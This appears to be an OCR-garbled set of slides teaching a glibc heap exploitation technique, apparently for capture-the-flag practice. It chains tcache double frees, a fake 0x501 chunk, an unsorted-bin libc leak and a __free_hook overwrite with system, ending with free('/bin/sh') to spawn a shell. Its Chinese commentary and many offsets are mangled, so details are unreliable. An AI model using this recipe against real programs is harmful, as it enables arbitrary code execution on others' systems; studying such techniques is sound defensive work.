Y= =E
B—MEET ptr B3 F malloc #1 free, & double free i, LtLANEBE— name, TLIFTEIHS,
I35

EiERIdouble freef@REAR, TIERBgotXimksystem, BhookXimksystems:, HENHAIX
BT

EAEMElbctitARNE, FrLAX@EFEE S RFEA U A5G double freef1— /NI LAFTENRYZE &
name, jHEElbcibiL,



name - 0x010

name - 0x008
my_name
my_name
ptr name + 0x4F0

name + 0x4FO0
name + 0Ox4F8
name + 0x500
name + 0x508
name + 0x510

name + 0x518

Stepl : Double Free 1in tcache bin

ptr = malloc(0x50)
--> 'aaaaaaaa'

free(ptr)
free(ptr)

ptr = malloc(0x50)
—--> p64(name_addr + Ox500 - 0x10))

ptr = malloc(0x50)
-=> '"bbbbbbbb'

ptr = malloc(0x50)
-=> p64(0) + p64(0x21)
--> p64(0) *x 3 + p64(0x21)



name - 0x010
name - 0x008

name + 0x4F0
name + Ox4F8
name + 0x500
name + 0x508
name + 0x510

name + 0x518

0]
0x501
FEEE M

daaa...

name_addr

Step2 . Double Free 1in tcache bin

ptr = malloc(0x60)
--> 'cccccccc!

free(ptr)
free(ptr)

ptr = malloc(0x60)
—--> p64(name_addr - 0x10))

ptr = malloc(0x60)
--> 'dddddddd'

ptr = malloc(0x60)
--> p64(0) + p64(0x501)
--> 'aaaa' * some + p64(name_addr)



pre
in
use

pre
in u

name - 0x010
name - 0x008

name + 0x4FO0
name + 0x4F8
name + 0x500
name + 0x508
name + 0x510

name + 0x518

0]
0x501
FEEE M

daaa...

name_addr

Step3 : Free(0x500) —--> inUnsorted bin!

free(ptr) ==> free(name_addr)

the parameter of free 1is data_ptr
check: next->prev_in_use?

Check: next in use? if no, free will
merge 1t.



pre
in
use

pre
in u

name - 0x010
name - 0x008

name + 0x4F0
name + 0x4F8
name + 0x500
name + 0x508
name + 0x510

name + 0x518

0]
0x501
FEEE M

daaa...

name_addr

name - 0x010 0)

unsorted bin hame - 0x008 0x501
fd name fd
bk name + 0x08 bk

print() will print the name, so know what fd is.
So, by (name), we can get unsorted bin address.

get unsorted bin address --> get main_arena address
get main_arena address --> get libc_base address



free_hook system_addr Step4 : Double Free in tcache bin

e malloc (Ox70)
free_hook: freepREUEHIXE —~> leeeeececee'
MEMRE—F, Bl libcmiB+libcEutEE|

free()
free()
malloc (0Ox70)

-—> p64(free_hook_addr)

malloc (0x70)
-=> '"fffffffff’

malloc(0x70)
-—> p64(system_addr)



free_hook

system_addr

free hook: freeFREERAIXE

FEMBRE—R, Bidlibc(RiE+ibcEUHEE]

ptr

/bin/sh

Step5 : PWN!

ptr = malloc(0x18)
--=> ¢/bin/sh’

free(ptr) ==> system(/bin/sh)
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